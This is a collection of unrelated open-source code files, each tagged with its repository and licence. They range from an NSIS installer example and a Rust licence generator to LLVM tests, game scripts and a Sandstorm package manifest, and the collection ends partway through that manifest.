GetDlgItem $1 $HWND 1209
SendMessage $1 ${WM_SETTEXT} 1 "STR:PathString"
Abort
GetBaseNameSend:
StrCmp $0 "15. GetBaseName" 0 GetFileExtSend
StrCpy $FUNCTION GetBaseName
GetDlgItem $1 $HWND 1201
ShowWindow $1 1
SendMessage $1 ${WM_SETTEXT} 1 "STR:$GETBASENAME1"
GetDlgItem $1 $HWND 1202
ShowWindow $1 1
GetDlgItem $1 $HWND 1205
ShowWindow $1 0
GetDlgItem $1 $HWND 1209
SendMessage $1 ${WM_SETTEXT} 1 "STR:FileString"
Abort
GetFileExtSend:
StrCmp $0 "16. GetFileExt" 0 BannerTrimPathSend
StrCpy $FUNCTION GetFileExt
GetDlgItem $1 $HWND 1201
ShowWindow $1 1
SendMessage $1 ${WM_SETTEXT} 1 "STR:$GETFILEEXT1"
GetDlgItem $1 $HWND 1202
ShowWindow $1 1
GetDlgItem $1 $HWND 1205
ShowWindow $1 0
GetDlgItem $1 $HWND 1209
SendMessage $1 ${WM_SETTEXT} 1 "STR:FileString"
Abort
BannerTrimPathSend:
StrCmp $0 "17. BannerTrimPath" 0 DirStateSend
StrCpy $FUNCTION BannerTrimPath
GetDlgItem $1 $HWND 1201
ShowWindow $1 1
SendMessage $1 ${WM_SETTEXT} 1 "STR:$BANNERTRIMPATH1"
GetDlgItem $1 $HWND 1202
ShowWindow $1 1
EnableWindow $1 0
GetDlgItem $1 $HWND 1205
ShowWindow $1 1
SendMessage $1 ${WM_SETTEXT} 1 "STR:$BANNERTRIMPATH2"
GetDlgItem $1 $HWND 1209
SendMessage $1 ${WM_SETTEXT} 1 "STR:PathString"
GetDlgItem $1 $HWND 1210
SendMessage $1 ${WM_SETTEXT} 1 "STR:Option"
Abort
DirStateSend:
StrCmp $0 "18. DirState" 0 RefreshShellIconsSend
StrCpy $FUNCTION DirState
GetDlgItem $1 $HWND 1203
ShowWindow $1 1
SendMessage $1 ${WM_SETTEXT} 1 "STR:$DIRSTATE1"
GetDlgItem $1 $HWND 1204
ShowWindow $1 1
GetDlgItem $1 $HWND 1205
ShowWindow $1 0
GetDlgItem $1 $HWND 1209
SendMessage $1 ${WM_SETTEXT} 1 "STR:Directory"
Abort
RefreshShellIconsSend:
StrCmp $0 "19. RefreshShellIcons" 0 Abort
StrCpy $FUNCTION ''
GetDlgItem $1 $HWND 1205
ShowWindow $1 0
Abort:
Abort
;=Enter=
Enter:
StrCpy $R0 ''
StrCpy $R5 ''
StrCmp $STATE " 1. Locate" Locate
StrCmp $STATE " 2. GetSize (file)" GetSize
StrCmp $STATE " (directory)" GetSize
StrCmp $STATE " (no size, no subdir)" GetSize
StrCmp $STATE " 3. DriveSpace" DriveSpace
StrCmp $STATE " 4. GetDrives (by type)" GetDrives
StrCmp $STATE " (all by letter)" GetDrives
StrCmp $STATE " 5. GetTime (local time)" GetTime
StrCmp $STATE " (file time)" GetTime
StrCmp $STATE " 6. GetFileAttributes" GetFileAttributes
StrCmp $STATE " 7. GetFileVersion" GetFileVersion
StrCmp $STATE " 8. GetExeName" GetExeName
StrCmp $STATE " 9. GetExePath" GetExePath
StrCmp $STATE "10. GetParameters" GetParameters
StrCmp $STATE "11. GetOptions" GetOptions
StrCmp $STATE "12. GetRoot" GetRoot
StrCmp $STATE "13. GetParent" GetParent
StrCmp $STATE "14. GetFileName" GetFileName
StrCmp $STATE "15. GetBaseName" GetBaseName
StrCmp $STATE "16. GetFileExt" GetFileExt
StrCmp $STATE "17. BannerTrimPath" BannerTrimPath
StrCmp $STATE "18. DirState" DirState
StrCmp $STATE "19. RefreshShellIcons" RefreshShellIcons
Abort
Locate:
${Locate} "$R2" "$R3" "LocateCallback"
IfErrors error
StrCmp $R0 StopLocate 0 +3
StrCpy $R0 'stopped'
goto send
StrCpy $R0 'done'
goto send
GetSize:
${GetSize} "$R2" "$R3" $0 $1 $2
IfErrors error
StrCpy $R0 "Size=$0$\r$\nFiles=$1$\r$\nFolders=$2"
goto send
DriveSpace:
${DriveSpace} "$R1" "$R3" $0
IfErrors error
StrCpy $R0 "$0"
goto send
GetDrives:
${GetDrives} "$R1" "GetDrivesCallback"
StrCmp $R0 StopGetDrives 0 +3
StrCpy $R0 '$R5stopped'
goto send
StrCpy $R0 '$R5done'
goto send
GetTime:
${GetTime} "$R1" "$R3" $0 $1 $2 $3 $4 $5 $6
IfErrors error
StrCpy $R0 'Date=$0/$1/$2 ($3)$\r$\nTime=$4:$5:$6'
goto send
GetFileAttributes:
${GetFileAttributes} "$R1" "$R3" $0
IfErrors error
StrCpy $R0 '$0'
goto send
GetFileVersion:
${GetFileVersion} "$R1" $0
IfErrors error
StrCpy $R0 '$0'
goto send
GetExeName:
${GetExeName} $0
StrCpy $R0 '$0'
goto send
GetExePath:
${GetExePath} $0
StrCpy $R0 '$0'
goto send
GetParameters:
${GetParameters} $0
StrCpy $R0 '$0'
StrCmp $R0 '' 0 send
StrCpy $R0 'no parameters'
goto send
GetOptions:
${GetOptions} "$R1" "$R3" $0
IfErrors error
StrCpy $R0 '$0'
goto send
GetRoot:
${GetRoot} "$R1" $0
StrCpy $R0 '$0'
goto send
GetParent:
${GetParent} "$R1" $0
StrCpy $R0 '$0'
goto send
GetFileName:
${GetFileName} "$R1" $0
StrCpy $R0 '$0'
goto send
GetBaseName:
${GetBaseName} "$R1" $0
StrCpy $R0 '$0'
goto send
GetFileExt:
${GetFileExt} "$R1" $0
StrCpy $R0 '$0'
goto send
BannerTrimPath:
${BannerTrimPath} "$R1" "$R3" $0
StrCpy $R0 '$0'
goto send
DirState:
${DirState} "$R2" $0
StrCpy $R0 '$0'
goto send
RefreshShellIcons:
${RefreshShellIcons}
StrCpy $R0 'done'
goto send
error:
StrCpy $R0 'error'
send:
GetDlgItem $1 $HWND 1208
SendMessage $1 ${WM_SETTEXT} 1 "STR:$R0"
abort
FunctionEnd
Function LocateCallback
MessageBox MB_OKCANCEL '$$R9 "path\name"=[$R9]$\n$$R8 "path" =[$R8]$\n$$R7 "name" =[$R7]$\n$$R6 "size" =[$R6]' IDOK +2
StrCpy $R0 StopLocate
Push $R0
FunctionEnd
Function GetDrivesCallback
MessageBox MB_OKCANCEL '$$9 "drive letter"=[$9]$\n$$8 "drive type" =[$8]' IDOK +2
StrCpy $R0 StopGetDrives
StrCpy $R5 '$R5$9 [$8 Drive]$\r$\n'
Push $R0
FunctionEnd
Function .onInit
InitPluginsDir
GetTempFileName $INI $PLUGINSDIR
File /oname=$INI "FileFunc.ini"
FunctionEnd
Page instfiles
Section "Empty"
SectionEnd
| NSIS | 3 | vbillet/Torque3D | Engine/bin/tools/nsis/app/Examples/FileFunc.nsi | [
"MIT"
] |
#feature-sass-inclusion
background: ghostwhite
color: crimson
| Sass | 2 | sandie06/create-react-app | packages/react-scripts/fixtures/kitchensink/template/src/features/webpack/assets/sass-styles.sass | [
"MIT"
] |
At: "041.hac":7:
parse error: syntax error
parser stacks:
state value
#STATE# (null)
#STATE# (process-prototype) [5:1..32]
#STATE# { [5:34]
#STATE# ( [6:1]
#STATE# ; [6:2]
#STATE# identifier: i [6:3]
#STATE# : [6:4]
#STATE# (range) [6:5]
#STATE# : [6:6]
#STATE# keyword: spec [7:1..4]
in state #STATE#, possible rules are:
loop_connections: '(' ';' ID ':' range ':' . connection_body ')' (#RULE#)
acceptable tokens are:
'{' (shift)
'[' (shift)
'(' (shift)
'-' (shift)
'~' (shift)
'!' (shift)
ID (shift)
FLOAT (shift)
INT (shift)
STRING (shift)
SCOPE (shift)
BOOL_TRUE (shift)
BOOL_FALSE (shift)
| Bison | 0 | broken-wheel/hacktist | hackt_docker/hackt/test/parser/datatype/041.stderr.bison | [
"MIT"
] |
sub main()
print "main2:" + commonUtil()
print "main2:" + onlyInScopeForMain()
end sub
| Brightscript | 1 | pureinertia/brs | test/e2e/resources/execute-with-scope/main2.brs | [
"MIT"
] |
// These are included in Debug verbs for the sake of not making a whole new category. Tick
// this file only if you want to use the procs, there's zero reason to use it on a live server.
/datum/admin_permissions/debug/New()
verbs |= /client/proc/ProduceSkinTones
verbs |= /client/proc/ProduceColouredStates
..()
var/list/clothing_colour_maps = list(
"template" = list(
DARK_GREY,
PALE_GREY,
GREY_BLUE,
PALE_BLUE
),
"steel" = list(
NAVY_BLUE,
DARK_PURPLE,
PALE_GREY,
GREY_BLUE
),
"yellow" = list(
GREEN_BROWN,
PALE_BROWN,
BRIGHT_ORANGE,
BRIGHT_YELLOW
),
"black" = list(
NAVY_BLUE,
DARK_BLUE_GREY,
DARK_GREY,
PALE_GREY
),
"grey" = list(
DARK_GREY,
PALE_GREY,
LIGHT_GREY,
GREY_BLUE
),
"green" = list(
DARK_BLUE_GREY,
GREEN_BROWN,
DARK_GREEN,
BLUE_GREEN
),
"brown" = list(
DARK_PURPLE,
GREEN_BROWN,
DARK_BROWN,
PALE_BROWN
),
"red" = list(
DARK_PURPLE,
DARK_RED,
PALE_RED,
PINK
),
"purple" = list(
NAVY_BLUE,
DARK_PURPLE,
INDIGO,
PURPLE
),
"blue" = list(
DARK_BLUE_GREY,
INDIGO,
BLUE,
LIGHT_BLUE
)
)
/client/proc/ProduceColouredStates()
set name = "Produce Coloured Icon States"
set category = "Utility"
var/list/icon_choices = list(
/obj/item/clothing/shirt,
/obj/item/clothing/pants,
/obj/item/clothing/shorts,
/obj/item/clothing/boots,
/obj/item/clothing/gloves,
/obj/item/clothing/gloves/fingerless,
/obj/item/clothing/over/robes,
/obj/item/clothing/over/apron,
"All",
"Done"
)
var/list/icons_to_compile = list()
var/choice = input("Which path(s) do you wish to compile icons for?") as null|anything in icon_choices
while(choice)
if(choice == "All")
icon_choices -= "All"
icon_choices -= "Done"
for(var/nchoice in icon_choices)
var/atom/_atom = nchoice
icons_to_compile[replacetext(replacetext(initial(_atom.name), " ", "_"),"'", "")] = list(icon(icon = initial(_atom.icon), moving = FALSE), icon(icon = initial(_atom.icon), moving = TRUE))
break
else if(choice == "Done")
break
else
icon_choices -= choice
var/atom/_atom = choice
icons_to_compile[replacetext(replacetext(initial(_atom.name), " ", "_"),"'", "")] = list(icon(icon = initial(_atom.icon), moving = FALSE), icon(icon = initial(_atom.icon), moving = TRUE))
choice = input("Which path(s) do you wish to compile icons for?") as null|anything in icon_choices
if(icons_to_compile && icons_to_compile.len)
CompileColouredIcons("dump\\clothing", icons_to_compile, clothing_colour_maps)
var/list/skin_colour_maps = list(
"template" = list(
DARK_BROWN,
PALE_BROWN,
BRIGHT_ORANGE,
DARK_PINK,
PALE_PINK
),
"pallid" = list(
INDIGO,
DARK_BLUE,
GREY_BLUE,
PALE_BLUE,
WHITE
),
"dark" = list(
NAVY_BLUE,
DARK_PURPLE,
DARK_BROWN,
PALE_BROWN,
BROWN_ORANGE
)
)
/client/proc/ProduceSkinTones()
set name = "Produce Skin Tones"
set category = "Utility"
CompileColouredIcons("dump\\bodytypes", list(
"[BP_CHEST]_m" = list(
icon(icon = 'icons/mobs/limbs/human/pale/chest_m.dmi', moving = FALSE),
icon(icon = 'icons/mobs/limbs/human/pale/chest_m.dmi', moving = TRUE)
),
"[BP_CHEST]_f" = list(
icon(icon = 'icons/mobs/limbs/human/pale/chest_f.dmi', moving = FALSE),
icon(icon = 'icons/mobs/limbs/human/pale/chest_f.dmi', moving = TRUE)
),
"[BP_GROIN]_m" = list(
icon(icon = 'icons/mobs/limbs/human/pale/groin_m.dmi', moving = FALSE),
icon(icon = 'icons/mobs/limbs/human/pale/groin_m.dmi', moving = TRUE)
),
"[BP_GROIN]_f" = list(
icon(icon = 'icons/mobs/limbs/human/pale/groin_f.dmi', moving = FALSE),
icon(icon = 'icons/mobs/limbs/human/pale/groin_f.dmi', moving = TRUE)
),
"[BP_LEFT_ARM]" = list(
icon(icon = 'icons/mobs/limbs/human/pale/left_arm.dmi', moving = FALSE),
icon(icon = 'icons/mobs/limbs/human/pale/left_arm.dmi', moving = TRUE)
),
"[BP_RIGHT_ARM]" = list(
icon(icon = 'icons/mobs/limbs/human/pale/right_arm.dmi', moving = FALSE),
icon(icon = 'icons/mobs/limbs/human/pale/right_arm.dmi', moving = TRUE)
),
"[BP_HEAD]" = list(
icon(icon = 'icons/mobs/limbs/human/pale/head.dmi', moving = FALSE),
icon(icon = 'icons/mobs/limbs/human/pale/head.dmi', moving = TRUE)
),
"[BP_LEFT_HAND]" = list(
icon(icon = 'icons/mobs/limbs/human/pale/left_hand.dmi', moving = FALSE),
icon(icon = 'icons/mobs/limbs/human/pale/left_hand.dmi', moving = TRUE)
),
"[BP_RIGHT_HAND]" = list(
icon(icon = 'icons/mobs/limbs/human/pale/right_hand.dmi', moving = FALSE),
icon(icon = 'icons/mobs/limbs/human/pale/right_hand.dmi', moving = TRUE)
),
"[BP_LEFT_LEG]" = list(
icon(icon = 'icons/mobs/limbs/human/pale/left_leg.dmi', moving = FALSE),
icon(icon = 'icons/mobs/limbs/human/pale/left_leg.dmi', moving = TRUE)
),
"[BP_RIGHT_LEG]" = list(
icon(icon = 'icons/mobs/limbs/human/pale/right_leg.dmi', moving = FALSE),
icon(icon = 'icons/mobs/limbs/human/pale/right_leg.dmi', moving = TRUE)
),
"[BP_LEFT_FOOT]" = list(
icon(icon = 'icons/mobs/limbs/human/pale/left_foot.dmi', moving = FALSE),
icon(icon = 'icons/mobs/limbs/human/pale/left_foot.dmi', moving = TRUE)
),
"[BP_RIGHT_FOOT]" = list(
icon(icon = 'icons/mobs/limbs/human/pale/right_foot.dmi', moving = FALSE),
icon(icon = 'icons/mobs/limbs/human/pale/right_foot.dmi', moving = TRUE)
)
), skin_colour_maps, dump_by_ident = TRUE)
/client/proc/CompileColouredIcons(var/dumppath = "dump", var/list/icons_to_compile, var/list/colour_maps, var/dump_by_ident = FALSE)
Dnotify("Compiling icon recolours.")
for(var/dumpname in icons_to_compile)
var/list/icon_data = icons_to_compile[dumpname]
var/icon/_icon_static = icon_data[1]
var/icon/_icon_moving = icon_data[2]
for(var/ident in colour_maps)
if(ident == "template") continue
var/list/template_colours = colour_maps["template"]
var/list/map_colours = colour_maps[ident]
var/icon/compiled_icon = icon()
for(var/_icon_state in icon_states(_icon_static))
var/icon/new_icon = icon(icon = _icon_static, icon_state = _icon_state)
for(var/i = 1;i<=template_colours.len;i++)
new_icon.SwapColor(template_colours[i], map_colours[i])
compiled_icon.Insert(new_icon, _icon_state)
for(var/_icon_state in icon_states(_icon_moving))
var/icon/new_icon = icon(icon = _icon_moving, icon_state = _icon_state)
for(var/i = 1;i<=template_colours.len;i++)
new_icon.SwapColor(template_colours[i], map_colours[i])
compiled_icon.Insert(new_icon, _icon_state, moving = TRUE)
var/dumpstr
if(dump_by_ident)
dumpstr = "[dumppath]\\[ident]\\[dumpname].dmi"
else
dumpstr = "[dumppath]\\[dumpname]\\[dumpname]_[ident].dmi"
Dnotify("State recolour for [dumpname] complete, dumped to [dumpstr].")
fcopy(compiled_icon, dumpstr) | DM | 5 | BloodyMan/Antimonium | code/admin/admin_verbs_utility.dm | [
"CC-BY-4.0"
] |
// Write a method to replace all spaces in a string with '%20.' You may assume that the string
// has sufficient space at the end of the string to hold the additional characters, and that you
// are given the "true" length of the string. (Note: if implementing in Java, please use a characters
// array so that you can perform this operation in place)
public class ReplaceSpaces {
public void replaceSpaces(char[] str, int length) {
int spaceCount = 0, newLength;
for(int i = 0; i < length; i++) {
if(str[i] == ' ') {
spaceCount++;
}
}
newLength = length + spaceCount * 2;
str[newLength] = '\0';
for(int i = length - 1; i >= 0; i--) {
if(str[i] == ' ') {
str[newLength - 1] = '0';
str[newLength - 2] = '2';
str[newLength - 3] = '%';
newLength = newLength - 3;
}
else {
str[newLength - 1] = str[i];
newLength = newLength - 1;
}
}
}
} | Java | 4 | ChickenMomos/interviews | cracking-the-coding-interview/chapter-one-arrays-and-strings/ReplaceSpaces.java | [
"MIT"
] |
use clap::*;
use std::collections::HashMap;
use std::fs::OpenOptions;
use std::io::Write;
/*
usage:
[generate a mit LICENSE file in current directory]
gen-license-rs mit
[list license types]
gen-license-rs --list
[generate license with 996ICU]
gen-license-rs mit --996icu en-us
gen-license-rs mit --996icu zh-cn
[show help]
gen-license-rs -h
[show version]
gen-license-rs -V
*/
fn main() {
let all_licenses: HashMap<&'static str, &'static str> = {
let mut ans = HashMap::new();
ans.insert("agpl-3.0", include_str!("licenses/agpl-3.0.txt"));
ans.insert("apache-2.0", include_str!("licenses/apache-2.0.txt"));
ans.insert("bsd-2-clause", include_str!("licenses/bsd-2-clause.txt"));
ans.insert("bsd-3-clause", include_str!("licenses/bsd-3-clause.txt"));
ans.insert("epl-2.0", include_str!("licenses/epl-2.0.txt"));
ans.insert("gpl-2.0", include_str!("licenses/gpl-2.0.txt"));
ans.insert("gpl-3.0", include_str!("licenses/gpl-3.0.txt"));
ans.insert("lgpl-2.1", include_str!("licenses/lgpl-2.1.txt"));
ans.insert("lgpl-3.0", include_str!("licenses/lgpl-3.0.txt"));
ans.insert("mit", include_str!("licenses/mit.txt"));
ans.insert("mpl-2.0", include_str!("licenses/mpl-2.0.txt"));
ans.insert("unlicenses", include_str!("licenses/unlicenses.txt"));
ans.insert("996icu-0.1", include_str!("licenses/996icu-0.1.txt"));
ans
};
let all_icus: HashMap<&'static str, &'static str> = {
let mut ans = HashMap::new();
ans.insert("en-us", include_str!("licenses/996.icu.template.en-us.txt"));
ans.insert("zh-cn", include_str!("licenses/996.icu.template.zh-cn.txt"));
ans
};
let app = App::new(crate_name!())
.version(crate_version!())
.author(crate_authors!())
.about(crate_description!())
.arg(Arg::with_name("license-type")
.value_name("LICENSE TYPE")
.takes_value(true)
.help("the license type you want to generate"))
.arg(Arg::with_name("list")
.short("l")
.long("list")
.help("show supported license types"))
.arg(Arg::with_name("996icu")
.long("996icu")
.takes_value(true)
.value_name("LANGUAGE")
.help("expand license with 996ICU license, choose a language parameter or default zh-cn"))
;
let mut write = vec![0u8; 4096];
app.write_help(&mut write).expect("write help message to buffer");
let help_msg = String::from_utf8_lossy(&write);
let matches = app.get_matches();
if matches.is_present("list") {
for license in all_licenses.keys() {
println!("{}", license);
}
return;
}
let license_type = if let Some(t) = matches.value_of("license-type") { t }
else {
println!("{}", help_msg);
return;
};
if let Some(&content) = all_licenses.get(&license_type) {
let mut file = OpenOptions::new()
.write(true)
.create(true)
.open("LICENSE")
.expect("open or create LICENSE file");
let output = if let Some(icu) = matches.value_of("996icu") {
let template = match icu.trim().to_lowercase().as_str() {
"zh" | "zh-cn" | "zh-hans" => all_icus.get("zh-cn").unwrap(),
"" | "en" | "en-us" => all_icus.get("en-us").unwrap(),
_ => {
println!("error: invalid language choice '{}'", icu);
print!("note: choose one from (");
for license in all_icus.keys() {
print!("'{}', ", license)
}
println!(")");
println!("help: use '-h' for more information");
return;
}
};
template
.replace("{other}", license_type)
.replace("{content}", content)
} else {
String::from(content)
};
file.write_fmt(format_args!("{}", output))
.expect("write to LICENSE file");
} else {
println!("error: invalid license choice '{}'", license_type);
print!("note: choose one from (");
for license in all_licenses.keys() {
print!("'{}', ", license)
}
println!(")");
println!("help: use '-h' for more information");
}
}
| Rust | 4 | luyouli/996.ICU | archived/licenses[WIP]/tools/gen-license-rs/src/main.rs | [
"ICU",
"MIT"
] |
/**
* This file is part of the Phalcon Framework.
*
* (c) Phalcon Team <[email protected]>
*
* For the full copyright and license information, please view the LICENSE.txt
* file that was distributed with this source code.
*/
namespace Phalcon\Filter;
/**
* Lazy loads, stores and exposes sanitizer objects
*/
interface FilterInterface
{
/**
* Sanitizes a value with a specified single or set of sanitizers
*/
public function sanitize(var value, var sanitizers, bool noRecursive = false) -> var;
}
| Zephir | 4 | zsilbi/cphalcon | phalcon/Filter/FilterInterface.zep | [
"BSD-3-Clause"
] |
# Copyright (C) 2001-2008, Parrot Foundation.
=head1 NAME
examples/io/http.pir - HTTP client
=head1 SYNOPSIS
% ./parrot examples/io/http.pir
=head1 DESCRIPTION
HTTP client, connects to WWW port and grabs a page (L<http://www.ibm.com>).
You should be running the echo service on your box (port 7).
=cut
.include 'socket.pasm'
.sub example :main
.local pmc sock
.local pmc address
.local string buf
.local int ret
.local int len
# create the socket handle
print "Creating socket.\n"
sock = new 'Socket'
sock.'socket'(.PIO_PF_INET, .PIO_SOCK_STREAM, .PIO_PROTO_TCP)
unless sock goto ERR
# Pack a sockaddr_in structure with IP and port
address = sock.'sockaddr'("www.ibm.com", 80)
print "Connecting to http://www.ibm.com:80\n"
ret = sock.'connect'(address)
print "connect returned "
print ret
print "\n"
ret = sock.'send'("GET /us/en/ HTTP/1.0\r\nUser-agent: Parrot\r\n\r\n")
MORE:
buf = sock.'recv'()
ret = length buf
if ret <= 0 goto END
print buf
goto MORE
ERR:
print "Socket error\n"
end
END:
sock.'close'()
end
.end
=head1 SEE ALSO
F<io/io_private.h>.
=cut
# Local Variables:
# mode: pir
# fill-column: 100
# End:
# vim: expandtab shiftwidth=4 ft=pir:
| Parrot Internal Representation | 4 | winnit-myself/Wifie | examples/io/http.pir | [
"Artistic-2.0"
] |
; NOTE: Assertions have been autogenerated by utils/update_test_checks.py
; RUN: opt < %s -instcombine -S | FileCheck %s
@hello = private constant [11 x i8] c"helloworld\00", align 1
declare i8* @memccpy(i8*, i8*, i32, i64)
define i8* @memccpy_to_memcpy(i8* %dst) {
; CHECK-LABEL: @memccpy_to_memcpy(
; CHECK-NEXT: [[CALL:%.*]] = call i8* @memccpy(i8* [[DST:%.*]], i8* getelementptr inbounds ([11 x i8], [11 x i8]* @hello, i64 0, i64 0), i32 114, i64 12)
; CHECK-NEXT: ret i8* [[CALL]]
;
%call = call i8* @memccpy(i8* %dst, i8* getelementptr inbounds ([11 x i8], [11 x i8]* @hello, i64 0, i64 0), i32 114, i64 12) ; 114 is 'r'
ret i8* %call
}
define i8* @memccpy_to_memcpy2(i8* %dst) {
; CHECK-LABEL: @memccpy_to_memcpy2(
; CHECK-NEXT: [[CALL:%.*]] = call i8* @memccpy(i8* [[DST:%.*]], i8* getelementptr inbounds ([11 x i8], [11 x i8]* @hello, i64 0, i64 0), i32 114, i64 5)
; CHECK-NEXT: ret i8* [[CALL]]
;
%call = call i8* @memccpy(i8* %dst, i8* getelementptr inbounds ([11 x i8], [11 x i8]* @hello, i64 0, i64 0), i32 114, i64 5)
ret i8* %call
}
define void @memccpy_to_memcpy3(i8* %dst) {
; CHECK-LABEL: @memccpy_to_memcpy3(
; CHECK-NEXT: [[CALL:%.*]] = call i8* @memccpy(i8* [[DST:%.*]], i8* getelementptr inbounds ([11 x i8], [11 x i8]* @hello, i64 0, i64 0), i32 114, i64 5)
; CHECK-NEXT: ret void
;
%call = call i8* @memccpy(i8* %dst, i8* getelementptr inbounds ([11 x i8], [11 x i8]* @hello, i64 0, i64 0), i32 114, i64 5)
ret void
}
define i8* @memccpy_to_null(i8* %dst, i8* %src, i32 %c) {
; CHECK-LABEL: @memccpy_to_null(
; CHECK-NEXT: [[CALL:%.*]] = call i8* @memccpy(i8* [[DST:%.*]], i8* [[SRC:%.*]], i32 [[C:%.*]], i64 0)
; CHECK-NEXT: ret i8* [[CALL]]
;
%call = call i8* @memccpy(i8* %dst, i8* %src, i32 %c, i64 0)
ret i8* %call
}
define i8* @memccpy_to_null2(i8* %dst) {
; CHECK-LABEL: @memccpy_to_null2(
; CHECK-NEXT: [[CALL:%.*]] = call i8* @memccpy(i8* [[DST:%.*]], i8* getelementptr inbounds ([11 x i8], [11 x i8]* @hello, i64 0, i64 0), i32 115, i64 5)
; CHECK-NEXT: ret i8* [[CALL]]
;
%call = call i8* @memccpy(i8* %dst, i8* getelementptr inbounds ([11 x i8], [11 x i8]* @hello, i64 0, i64 0), i32 115, i64 5) ; 115 is 's'
ret i8* %call
}
; Negative tests
define i8* @unknown_src(i8* %dst, i8* %src) {
; CHECK-LABEL: @unknown_src(
; CHECK-NEXT: [[CALL:%.*]] = call i8* @memccpy(i8* [[DST:%.*]], i8* [[SRC:%.*]], i32 114, i64 12)
; CHECK-NEXT: ret i8* [[CALL]]
;
%call = call i8* @memccpy(i8* %dst, i8* %src, i32 114, i64 12)
ret i8* %call
}
define i8* @unknown_stop_char(i8* %dst, i32 %c) {
; CHECK-LABEL: @unknown_stop_char(
; CHECK-NEXT: [[CALL:%.*]] = call i8* @memccpy(i8* [[DST:%.*]], i8* getelementptr inbounds ([11 x i8], [11 x i8]* @hello, i64 0, i64 0), i32 [[C:%.*]], i64 12)
; CHECK-NEXT: ret i8* [[CALL]]
;
%call = call i8* @memccpy(i8* %dst, i8* getelementptr inbounds ([11 x i8], [11 x i8]* @hello, i64 0, i64 0), i32 %c, i64 12)
ret i8* %call
}
define i8* @unknown_size_n(i8* %dst, i64 %n) {
; CHECK-LABEL: @unknown_size_n(
; CHECK-NEXT: [[CALL:%.*]] = call i8* @memccpy(i8* [[DST:%.*]], i8* getelementptr inbounds ([11 x i8], [11 x i8]* @hello, i64 0, i64 0), i32 114, i64 [[N:%.*]])
; CHECK-NEXT: ret i8* [[CALL]]
;
%call = call i8* @memccpy(i8* %dst, i8* getelementptr inbounds ([11 x i8], [11 x i8]* @hello, i64 0, i64 0), i32 114, i64 %n)
ret i8* %call
}
| LLVM | 5 | arunkumarbhattar/llvm | test/Transforms/InstCombine/memccpy.ll | [
"Apache-2.0"
] |
package io.swagger.client.model {
[XmlRootNode(name="User")]
public class User {
[XmlElement(name="id")]
public var id: Number = 0;
[XmlElement(name="username")]
public var username: String = null;
[XmlElement(name="firstName")]
public var firstName: String = null;
[XmlElement(name="lastName")]
public var lastName: String = null;
[XmlElement(name="email")]
public var email: String = null;
[XmlElement(name="password")]
public var password: String = null;
[XmlElement(name="phone")]
public var phone: String = null;
/* User Status */
[XmlElement(name="userStatus")]
public var userStatus: Number = 0;
public function toString(): String {
var str: String = "User: ";
str += " (id: " + id + ")";
str += " (username: " + username + ")";
str += " (firstName: " + firstName + ")";
str += " (lastName: " + lastName + ")";
str += " (email: " + email + ")";
str += " (password: " + password + ")";
str += " (phone: " + phone + ")";
str += " (userStatus: " + userStatus + ")";
return str;
}
}
}
| ActionScript | 4 | wwadge/swagger-codegen | samples/client/petstore/flash/flash/src/io/swagger/client/model/User.as | [
"Apache-2.0"
] |
Scriptname C00TrainerScript extends ReferenceAlias
int numHits = 0
Event OnMagicEffectApply(ObjectReference akCaster, MagicEffect akEffect)
; Debug.Trace("C00: Vilkas hit by magic.")
if (Game.GetPlayer() == akCaster)
GetOwningQuest().SetStage(100)
endif
EndEvent
Event OnEnterBleedout()
BleedoutChecks()
EndEvent
Function BleedoutChecks()
if (!GetOwningQuest().IsRunning())
return
endif
; Debug.Trace("C00: Vilkas reached bleedout.")
int currStage = GetOwningQuest().GetStage()
if (currStage != 100 && currStage != 110) ; don't let it through if he's trying to
; razz you about using magic, for instance
GetOwningQuest().SetStage(125)
endif
EndFunction
Event OnHit(ObjectReference akAggressor, Form akSource, Projectile akProjectile, bool abPowerAttack, bool abSneakAttack, bool abBashAttack, bool abHitBlocked)
; Debug.Trace("C00: Vilkas was hit.")
; Debug.Trace("C00: Vilkas hit datums -- " + akAggressor + " " + akSource + " " + akProjectile + " " + abPowerAttack + " " + abSneakAttack + " " + abBashAttack + " " + abHitBlocked)
if (akSource as Spell)
; Debug.Trace("C00: Vilkas hit by spell; bailing out and handling it in the magic effect handler.")
return
elseif (akSource as Explosion)
; Debug.Trace("C00: Vilkas hit by explosion; bailing out and handling it in the other handlers.")
return
endif
if (Game.GetPlayer() == akAggressor)
if ((akSource as Spell) != None)
GetOwningQuest().SetStage(100)
return
endif
numHits += 1
if (numHits >= 3)
GetOwningQuest().SetStage(150)
endif
else
; someone else hit him, stop the quest and have him berate you
GetOwningQuest().SetStage(110)
endif
EndEvent
Function ResetHits()
numHits = 0
EndFunction
| Papyrus | 4 | Hagser/skyrim | Source/C00TrainerScript.psc | [
"Unlicense"
] |
<x><![CDATA[
declare namespace m0="http://services.samples";
declare variable $payload as document-node() external;
<m:getQuote xmlns:m="http://services.samples">
<m:request>
<m:symbol>{$payload//m0:CheckPriceRequest/m0:Code/child::text()}</m:symbol>
</m:request>
</m:getQuote>
]]></x> | XQuery | 3 | isuruuy429/product-ei | samples/product/src/main/conf/synapse/resources/xquery/xquery_req.xq | [
"Apache-2.0"
] |
<style>
.demo-progress__progress-default .mdl-progress {
width: 50vw;
max-width: 260px;
}
</style>
{% include "progress-default.html" %}
| HTML | 2 | greatwqs/staffjoy | frontend/third_party/node/material_design_lite/progress/snippets/progress-default-demo.html | [
"MIT"
] |
@0xeef286f78b0168e0;
# When cloning the example, you'll want to replace the above file ID with a new
# one generated using the `capnp id` command.
using Spk = import "/sandstorm/package.capnp";
using Grain = import "/sandstorm/grain.capnp";
# This imports:
# $SANDSTORM_HOME/latest/usr/include/sandstorm/package.capnp
# Check out that file to see the full, documented package definition format.
const pkgdef :Spk.PackageDefinition = (
# The package definition. Note that the spk tool looks specifically for the
# "pkgdef" constant.
id = "a3w50h1435gsxczugm16q0amwkqm9f4crykzea53sv61pt7phk8h",
# The app ID is actually the public key used to sign the app package.
# All packages with the same ID are versions of the same app.
#
# If you are working from the example, you'll need to replace the above
# public key with one of your own. Use the `spk keygen` command to generate
# a new one.
manifest = (
# This manifest is included in your app package to tell Sandstorm
# about your app.
appVersion = 3, # Increment this for every release.
appTitle = (defaultText = "draw.io"),
appMarketingVersion = (defaultText = "6.5.4"),
actions = [
# Define your "new document" handlers here.
( title = (defaultText = "New draw.io diagram"),
nounPhrase = (defaultText = "diagram"),
command = .myCommand
# The command to run when starting for the first time. (".myCommand"
# is just a constant defined at the bottom of the file.)
)
],
continueCommand = .myCommand,
# This is the command called to start your app back up after it has been
# shut down for inactivity. Here we're using the same command as for
# starting a new instance, but you could use different commands for each
# case.
metadata = (
